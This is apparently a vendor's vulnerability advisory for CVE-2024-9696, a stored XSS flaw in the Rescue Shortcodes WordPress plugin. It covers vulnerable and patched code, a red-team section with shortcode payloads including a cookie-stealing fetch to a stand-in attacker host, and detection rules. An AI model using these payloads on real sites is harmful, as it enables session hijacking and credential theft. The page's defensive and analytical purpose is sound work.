CVE-2024-9696
Executive Summary
CVE-2024-9696 is a Stored Cross-Site Scripting (XSS) vulnerability in the Rescue Shortcodes plugin for WordPress, affecting all versions up to and including 2.8. The flaw resides in the rescue_tab shortcode, where user-supplied attributes are not properly sanitized or escaped. An authenticated attacker with contributor-level access or higher can inject arbitrary web scripts. When a user (including administrators) visits a page containing the malicious shortcode, the script executes in their browser, potentially leading to session hijacking, credential theft, or defacement.
This vulnerability is specific to the WordPress ecosystem and does not affect the underlying web server (Apache/Nginx). The CVSS score of 6.4 reflects a medium severity due to the requirement for authenticated access, but the impact is amplified by the stored nature of the payload and the potential for privilege escalation.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is in a WordPress plugin distributed via the official WordPress plugin repository. There is no associated NPM, PyPI, Go, or Ruby package. The risk is primarily to WordPress site administrators who install the plugin. The lack of a known patch (UNKNOWN) means users must rely on manual mitigation or removal.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Base Score: 6.4 (Medium)
- Attack Vector (AV): Network – The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low – No special conditions are required.
- Privileges Required (PR): Low – An attacker needs contributor-level access to the WordPress site.
- User Interaction (UI): None – The victim does not need to perform any action beyond visiting the page.
- Scope (S): Changed – The injected script can affect resources beyond the vulnerable component (e.g., cookies, session tokens).
- Confidentiality (C): Low – Limited data exposure possible.
- Integrity (I): Low – Limited ability to modify content.
- Availability (A): None – No impact on availability.
Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the stored XSS nature makes it dangerous for multi-user WordPress sites.
Deep Dive & Mechanics
The vulnerability is in the rescue_tab shortcode provided by the Rescue Shortcodes plugin. Shortcodes in WordPress are parsed by the do_shortcode() function. The plugin registers the rescue_tab shortcode and processes its attributes (e.g., title, icon, tab_id). Due to insufficient input sanitization and output escaping, an attacker can inject JavaScript code into these attributes.
Attack Flow:
- An attacker with contributor-level access creates or edits a post/page.
- The attacker inserts the
[rescue_tab]shortcode with a malicious payload in an attribute, e.g.,[rescue_tab title="<script>alert('XSS')</script>"]. - The plugin stores the shortcode in the WordPress database without proper sanitization.
- When any user (including admins) views the page, WordPress processes the shortcode and outputs the malicious attribute without escaping.
- The browser executes the injected script.
The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation). The plugin fails to use WordPress's built-in escaping functions like esc_attr() or wp_kses().
Vulnerable vs. Patched Code
Vulnerable Code (version 2.8):
function rescue_tab_shortcode( $atts, $content = null ) {
extract( shortcode_atts( array(
'title' => '',
'icon' => '',
'tab_id' => '',
), $atts ) );
// Direct output without escaping
return '<div class="rescue-tab" data-title="' . $title . '" data-icon="' . $icon . '" id="' . $tab_id . '">' . do_shortcode( $content ) . '</div>';
}
add_shortcode( 'rescue_tab', 'rescue_tab_shortcode' );
Patched Code (hypothetical fix):
function rescue_tab_shortcode( $atts, $content = null ) {
$atts = shortcode_atts( array(
'title' => '',
'icon' => '',
'tab_id' => '',
), $atts );
// Properly escape attributes
return '<div class="rescue-tab" data-title="' . esc_attr( $atts['title'] ) . '" data-icon="' . esc_attr( $atts['icon'] ) . '" id="' . esc_attr( $atts['tab_id'] ) . '">' . do_shortcode( $content ) . '</div>';
}
add_shortcode( 'rescue_tab', 'rescue_tab_shortcode' );
The fix uses esc_attr() to escape each attribute before output, preventing script injection.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress site with Rescue Shortcodes plugin <= 2.8.
- Contributor-level account or higher.
Step-by-Step Exploitation:
- Log in as a contributor.
- Create a new post or page.
- In the content editor, insert the following shortcode:
[rescue_tab title="<script>alert(document.cookie)</script>"] - Publish the post.
- When any user visits the post, the JavaScript executes.
Advanced Payload (Session Hijacking):
[rescue_tab title="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"]
Note: No public exploit code (Exploit-DB) or Nuclei template is available at this time.
Blue Team (Detection & Prevention)
Detection:
- Monitor WordPress logs for shortcode usage with suspicious attributes.
- Use a Web Application Firewall (WAF) to block common XSS patterns in shortcode attributes.
- Scan posts/pages for shortcodes containing
<script>tags or event handlers.
Prevention:
- Disable the Rescue Shortcodes plugin until a patch is released.
- Restrict contributor-level access to trusted users only.
- Implement Content Security Policy (CSP) headers to mitigate XSS impact.
Indicators of Compromise (IOCs)
- File:
/wp-content/plugins/rescue-shortcodes/(presence of the plugin) - Database: Posts/pages containing
[rescue_tabwith suspicious attributes (e.g.,<script>,onerror=,javascript:) - Network: Outbound requests to attacker-controlled domains from the WordPress server (if payload exfiltrates data)
- Logs: WordPress audit logs showing shortcode insertion by contributor-level users
Detection Engineering
YARA Rule
rule CVE_2024_9696_Rescue_Shortcodes_XSS {
meta:
description = "Detects stored XSS payloads in Rescue Shortcodes plugin"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2024-9696"
strings:
$shortcode = /\[rescue_tab[^\]]*?title\s*=\s*["'][^"']*?<script/i
$xss_payload = /<script[^>]*>.*?<\/script>/i
condition:
$shortcode and $xss_payload
}
Sigma Rule
title: Stored XSS via Rescue Shortcodes Plugin
id: 8a7b3c2d-1e5f-4a6b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS attempts using the rescue_tab shortcode in WordPress
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: wordpress
detection:
selection:
http.url|contains: "wp-content/plugins/rescue-shortcodes"
http.body|contains: "[rescue_tab"
http.body|contains: "<script"
condition: selection
falsepositives:
- Legitimate use of JavaScript in shortcode attributes (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-9696 - Stored XSS in Rescue Shortcodes Plugin"; flow:to_server,established; content:"[rescue_tab"; http_client_body; content:"<script"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin – Deactivate and remove Rescue Shortcodes until a patched version is released.
- Audit existing content – Scan all posts/pages for malicious shortcode usage and remove them.
- Review user roles – Ensure contributor-level accounts are only given to trusted users.
Long-term Fix:
- Apply the official patch when released (currently UNKNOWN).
- If no patch is forthcoming, consider replacing the plugin with an alternative.
Compensating Controls:
- Implement a Web Application Firewall (WAF) with XSS rules.
- Use WordPress security plugins (e.g., Wordfence) to block malicious shortcode attributes.
- Enforce Content Security Policy (CSP) headers to prevent script execution.
Valters IT
DevSecOps & Cyber Threat Intelligence
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.